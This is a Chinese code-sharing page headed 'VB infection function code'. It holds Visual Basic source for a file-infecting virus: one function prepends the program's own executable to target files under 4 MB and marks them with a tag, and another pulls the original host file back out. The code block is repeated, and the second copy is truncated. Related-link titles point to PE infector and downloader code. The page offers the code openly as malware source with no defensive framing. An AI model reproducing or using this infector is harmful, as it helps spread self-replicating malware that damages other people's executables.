VB感染函数代码
来源:互联网 发布:bluestacks蓝叠 mac 编辑:程序博客网 时间:2024/04/28 15:21
Private Function InfectedFiles(ByVal FilePath As String) As Boolean
Dim MyArray() As Byte
Dim FileArray() As Byte
If FileLen(FilePath) > 4194304 Then Exit Function ’大于4mb不感染
Open MyName For Binary Access Read As #1 ’读取自身文件内容
ReDim MyArray(FileLen(MyName) - 1)
Get #1, , MyArray
Close #1
Open FilePath For Binary Access Read As #1 ’读取要感染的问件内容
ReDim FileArray(FileLen(FilePath) - 1)
Get #1, , FileArray
Close #1
If InStr(FileArray, "BY:倒霉蛋儿") > 0 Then ’判断是否被感染
Exit Function
Else
Open FilePath For Binary Access Write As #1 ’把自身和感染文件与配置信息一起写到一个新文件去
Put #1, , MyArray
Put #1, , FileArray
Put #1, , "BY:倒霉蛋儿" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1
Close #1
InfectedFiles = True
End If
End Function
Private Function KillVirus(ByVal VirusPath As String) As Boolean
Dim infected() As Byte
Dim vbArray() As Byte
Dim SplitArray() As String
Dim SplitINI() As String
On Error Resume Next
If FileLen(VirusPath) > 4194304 Then Exit Function ’大于4mb不感染
Open VirusPath For Binary Access Read As #1 ’读取自身文件内容
ReDim infected(FileLen(VirusPath) - 1)
Get #1, , infected
Close #1
If InStr(StrConv(infected, vbUnicode), "BY:倒霉蛋儿") > 0 Then ’判断是否被感染
SplitArray = Split(StrConv(infected, vbUnicode), "BY:倒霉蛋儿")
SplitINI = Split(SplitArray(UBound(SplitArray)), ",")
ReDim vbArray(SplitINI(1) - 1)
Open VirusPath For Binary As #1
Get #1, SplitINI(0) + 1, vbArray
Close #1
Open VirusPath For Binary As #1
Put #1, , vbArray
Close #1
KillVirus = True
End If
End Function
Dim MyArray() As Byte
Dim FileArray() As Byte
If FileLen(FilePath) > 4194304 Then Exit Function ’大于4mb不感染
Open MyName For Binary Access Read As #1 ’读取自身文件内容
ReDim MyArray(FileLen(MyName) - 1)
Get #1, , MyArray
Close #1
Open FilePath For Binary Access Read As #1 ’读取要感染的问件内容
ReDim FileArray(FileLen(FilePath) - 1)
Get #1, , FileArray
Close #1
If InStr(FileArray, "BY:倒霉蛋儿") > 0 Then ’判断是否被感染
Exit Function
Else
Open FilePath For Binary Access Write As #1 ’把自身和感染文件与配置信息一起写到一个新文件去
Put #1, , MyArray
Put #1, , FileArray
Put #1, , "BY:倒霉蛋儿" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1
Close #1
InfectedFiles = True
End If
End Function
Private Function KillVirus(ByVal VirusPath As String) As Boolean
Dim infected() As Byte
Dim vbArray() As Byte
Dim SplitArray() As String
Dim SplitINI() As String
On Error Resume Next
If FileLen(VirusPath) > 4194304 Then Exit Function ’大于4mb不感染
Open VirusPath For Binary Access Read As #1 ’读取自身文件内容
ReDim infected(FileLen(VirusPath) - 1)
Get #1, , infected
Close #1
If InStr(StrConv(infected, vbUnicode), "BY:倒霉蛋儿") > 0 Then ’判断是否被感染
SplitArray = Split(StrConv(infected, vbUnicode), "BY:倒霉蛋儿")
SplitINI = Split(SplitArray(UBound(SplitArray)), ",")
ReDim vbArray(SplitINI(1) - 1)
Open VirusPath For Binary As #1
Get #1, SplitINI(0) + 1, vbArray
Close #1
Open VirusPath For Binary As #1
Put #1, , vbArray
Close #1
KillVirus = True
End If
End Function
- VB感染函数代码
- 感染EXE文件代码(C++)
- 一段感染引入表的vc代码
- 让 VB 执行自定义字符串代码的 API 函数。
- K型热电偶转换函数(VB代码)
- VB函数
- VB函数解析自动识别工具 VB代码库函数库添加管理工具
- PE感染型病毒代码 大部分有注释
- PE感染型病毒代码 大部分有注释
- VB代码 VB小程序
- win32 函数 VB 函数
- VB代码创建数据库
- 想用就用,VB基础代码
- VB代码片段
- VB代码撰写约定
- VB常用代码
- 不错VB代码,收藏!!!
- VB远程自动更新代码
- 外国的注入技巧收集
- 驱动防杀防删代码编程
- 新的VBS下载者代码
- 一段提取用户名和md5的代码编程
- 文件捆绑感染方式编程
- VB感染函数代码
- mplay cannot prepare subtitle font 解决方法
- 联想专业存储网络硬盘空间
- VIM:我的vimrc
- Groovy探索之闭包 七 使用闭包来实现模板方法模式
- Win 98系统启动过程全揭密
- 小议计算机存储之六.操作系统启动过程
- SQL SERVER 数据类型详解
- Linux下播放flash